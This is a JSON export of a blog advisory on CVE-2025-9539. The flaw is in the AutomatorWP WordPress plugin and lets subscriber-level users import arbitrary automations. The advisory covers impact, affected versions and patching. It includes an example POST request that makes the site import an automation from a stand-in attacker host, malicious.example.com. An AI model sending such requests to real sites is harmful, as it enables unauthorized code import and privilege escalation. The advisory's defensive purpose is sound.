{"id":75163,"date":"2025-09-15T10:18:59","date_gmt":"2025-09-15T10:18:59","guid":{"rendered":""},"modified":"2025-09-28T04:00:18","modified_gmt":"2025-09-28T10:00:18","slug":"cve-2025-9539-unauthorized-modification-vulnerability-in-automatorwp-wordpress-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-9539-unauthorized-modification-vulnerability-in-automatorwp-wordpress-plugin\/","title":{"rendered":"<strong>CVE-2025-9539: Unauthorized Modification Vulnerability in AutomatorWP WordPress Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the ever-evolving cybersecurity landscape, vulnerabilities can often lurk in the most innocuous of places. One such vulnerability, known as CVE-2025-9539, poses a significant threat to users of the AutomatorWP plugin for WordPress. This popular plugin, designed for creating no-code automations, webhooks, and custom integrations, has an inherent flaw that could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-45134-critical-vulnerability-in-mahara-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"82929\">potentially lead<\/a> to unauthorized modifications of data.<br \/>\nThe vulnerability is particularly concerning due to the widespread use of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5821-critical-authentication-bypass-vulnerability-in-case-theme-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"83293\">AutomatorWP<\/a> plugin, and the high-risk nature of the potential exploits. If exploited, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30635-critical-php-remote-file-inclusion-vulnerability-in-themeatelier-idonatepro\/\"  data-wpil-monitor-id=\"82837\">vulnerability could lead to remote<\/a> code execution or privilege escalation, thus posing a serious threat to website integrity and data security.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-9539<br \/>\nSeverity: High (8.0)<br \/>\nAttack Vector: Web<br \/>\nPrivileges Required: Subscriber-level access<br \/>\nUser Interaction: Required<br \/>\nImpact: Potential for remote code execution or privilege escalation, leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36157-unauthorized-remote-server-property-file-modification-in-ibm-jazz-foundation\/\"  data-wpil-monitor-id=\"83031\">unauthorized data modification<\/a>.<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2167038853\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>AutomatorWP for WordPress | Up to and including 5.3.6<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>An attacker with subscriber-level <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29514-high-severity-access-control-vulnerability-in-d-link-dsl-7740c-router\/\"  data-wpil-monitor-id=\"83184\">access or above could exploit this vulnerability<\/a> by invoking the `automatorwp_ajax_import_automation_from_url` function without the required capability check. By doing so, they could create arbitrary automations. These automations could then be activated by an administrator, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53518-an-integer-overflow-vulnerability-leading-to-arbitrary-code-execution-in-the-biosig-project-libbiosig\/\"  data-wpil-monitor-id=\"83247\">leading to potential remote code execution<\/a> or privilege escalation. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7051-unauthorized-access-and-manipulation-of-syslog-configuration-in-n-central\/\"  data-wpil-monitor-id=\"84553\">unauthorized access<\/a> provides the attacker with the means to modify data without detection.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-272140421\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents an HTTP POST <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8592-wordpress-inspiro-theme-vulnerability-to-cross-site-request-forgery-csrf\/\"  data-wpil-monitor-id=\"85370\">request to the vulnerable<\/a> endpoint:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-admin\/admin-ajax.php?action=automatorwp_import_automation_from_url HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n&quot;automation_url&quot;: &quot;http:\/\/malicious.example.com\/evil_automation.json&quot;\n}<\/code><\/pre>\n<p>In this example, the attacker is using the `automatorwp_import_automation_from_url` action to import a malicious automation from an external URL. Once this automation is activated by an unsuspecting administrator, the attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52353-arbitrary-code-execution-vulnerability-in-badaso-cms-2-9-11\/\"  data-wpil-monitor-id=\"83986\">execute arbitrary<\/a> commands or escalate privileges within the system.<\/p>\n<p><strong>Mitigation and Remediation<\/strong><\/p>\n<p>Users of the affected versions of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46715-kernel-pointer-vulnerability-in-sandboxie-versions-prior-to-1-15-12\/\"  data-wpil-monitor-id=\"82803\">AutomatorWP<\/a> should apply the vendor&#8217;s patch as soon as possible to mitigate this vulnerability. If a patch is not immediately available, temporary mitigation can be achieved by employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS). All users are strongly advised to regularly update their plugins to the latest <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28041-access-control-vulnerability-in-itranswarp-up-to-version-2-19\/\"  data-wpil-monitor-id=\"86007\">versions to prevent exploitation of known vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the ever-evolving cybersecurity landscape, vulnerabilities can often lurk in the most innocuous of places. One such vulnerability, known as CVE-2025-9539, poses a significant threat to users of the AutomatorWP plugin for WordPress. This popular plugin, designed for creating no-code automations, webhooks, and custom integrations, has an inherent flaw that could potentially lead to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[76,80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-75163","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-privilege-escalation","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75163","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=75163"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75163\/revisions"}],"predecessor-version":[{"id":78804,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75163\/revisions\/78804"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=75163"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=75163"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=75163"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=75163"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=75163"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=75163"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=75163"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=75163"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=75163"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}